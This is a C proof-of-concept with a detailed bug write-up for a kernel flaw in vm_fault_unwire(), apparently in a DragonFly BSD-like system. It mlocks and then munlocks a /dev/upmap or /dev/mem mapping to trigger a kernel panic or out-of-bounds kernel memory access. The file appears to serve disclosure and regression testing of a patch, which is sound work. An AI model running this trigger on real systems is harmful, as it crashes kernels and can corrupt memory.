/*
 * DF-5802 PoC -- vm_fault_unwire() UKSMAP 'fictitious' asymmetry
 *
 * BUG (sys/vm/vm_fault.c):
 *   vm_fault_wire()     :2614-2616  treats VM_MAPTYPE_UKSMAP entries as
 *                          fictitious -- the UKSMAP fault path (vm_fault()
 *                          :562-580) pmap_enter()s a fake fictitious page and
 *                          never vm_page_wire()s anything.
 *   vm_fault_unwire()   :2679-2681  computes `fictitious` ONLY from
 *                          entry->ba.object->type.  UKSMAP entries have
 *                          ba.object == NULL -> fictitious = FALSE.
 *
 *   => munlock()/exit-unwire of a mlock()ed UKSMAP range runs
 *        m = pmap_unwire(pmap, &va);        (pmap.c:5633)
 *        vm_page_busy_wait(m, FALSE, ...);
 *        vm_page_unwire(m, 1);              (vm_page.c:3297)
 *      on a page that was never wired:
 *        * /dev/upmap  (minor 5, RAM-backed kernel page):
 *            vm_page_unwire() -> panic "vm_page_unwire: invalid wire count"
 *            (or silent wiring-accounting corruption / kernel page queued).
 *        * /dev/mem at pa >= Maxmem:
 *            pmap_unwire() -> m = PHYS_TO_VM_PAGE(pa) which is an
 *            UNCHECKED vm_page_array index (vm_page.h:454) -> wild vm_page_t
 *            -> OOB kernel read/write past vm_page_array.
 *
 * Trigger is privileged: mlock(2) is SYSCAP_RESTRICTEDROOT-gated on x86-64
 * (sys/vm/vm_mmap.c:1030, #else branch; pc64 does not define
 * pmap_wired_count).  /dev/mem is root:kmem 0640.
 *
 * Usage:  uksmap_unwire upmap | mem [phys_addr_for_mem_default_0xFF000000]
 *
 * Expected STOCK   : kernel panic (or wedge) at munlock() -- "fatal fault",
 *                   "vm_page_unwire: invalid wire count", or wild-pointer
 *                   fault; message depends on variant and adjacent memory.
 * Expected PATCHED : "SURVIVED munlock" for both variants, clean exit.
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *what = (argc > 1) ? argv[1] : "upmap";
	off_t off = (argc > 2) ? (off_t)strtoull(argv[2], NULL, 0) :
		   0xFF000000ULL;
	const char *path;
	void *p;
	int fd;

	if (strcmp(what, "upmap") == 0) {
		path = "/dev/upmap";	/* minor 5: RAM-backed kernel page */
		off = 0;
	} else if (strcmp(what, "mem") == 0) {
		path = "/dev/mem";	/* minor 0: raw pa == mmap offset */
	} else {
		fprintf(stderr, "usage: %s upmap | mem [pa]\n", argv[0]);
		exit(2);
	}

	fd = open(path, O_RDWR);
	if (fd < 0)
		err(1, "open %s", path);
	p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, off);
	if (p == MAP_FAILED)
		err(1, "mmap %s offset 0x%jx", path, (uintmax_t)off);
	printf("mapped %s @ %p off 0x%jx\n", path, p, (uintmax_t)off);
	fflush(stdout);

	if (mlock(p, 4096) < 0)
		err(1, "mlock");	/* wire: UKSMAP path, no vm_page_wire */
	printf("mlock: ok (UKSMAP pages entered wired, fictitious=TRUE)\n");
	fflush(stdout);

	/*
	 * munlock -> vm_map_unwire -> vm_fault_unwire with fictitious=FALSE
	 * (ba.object == NULL) -> pmap_unwire()/vm_page_unwire() on a page the
	 * wire path never wired.
	 */
	printf("munlock: entering vm_fault_unwire() bad path ...\n");
	fflush(stdout);
	if (munlock(p, 4096) < 0)
		err(1, "munlock");
	printf("SURVIVED munlock (no bug manifestation)\n");
	fflush(stdout);

	/* also exercise the exit-time unwire of a still-wired UKSMAP range */
	if (mlock(p, 4096) == 0) {
		printf("re-mlock: ok, now exiting with range still wired "
		       "(exit unwinding hits same path)\n");
		fflush(stdout);
	}
	return 0;
}
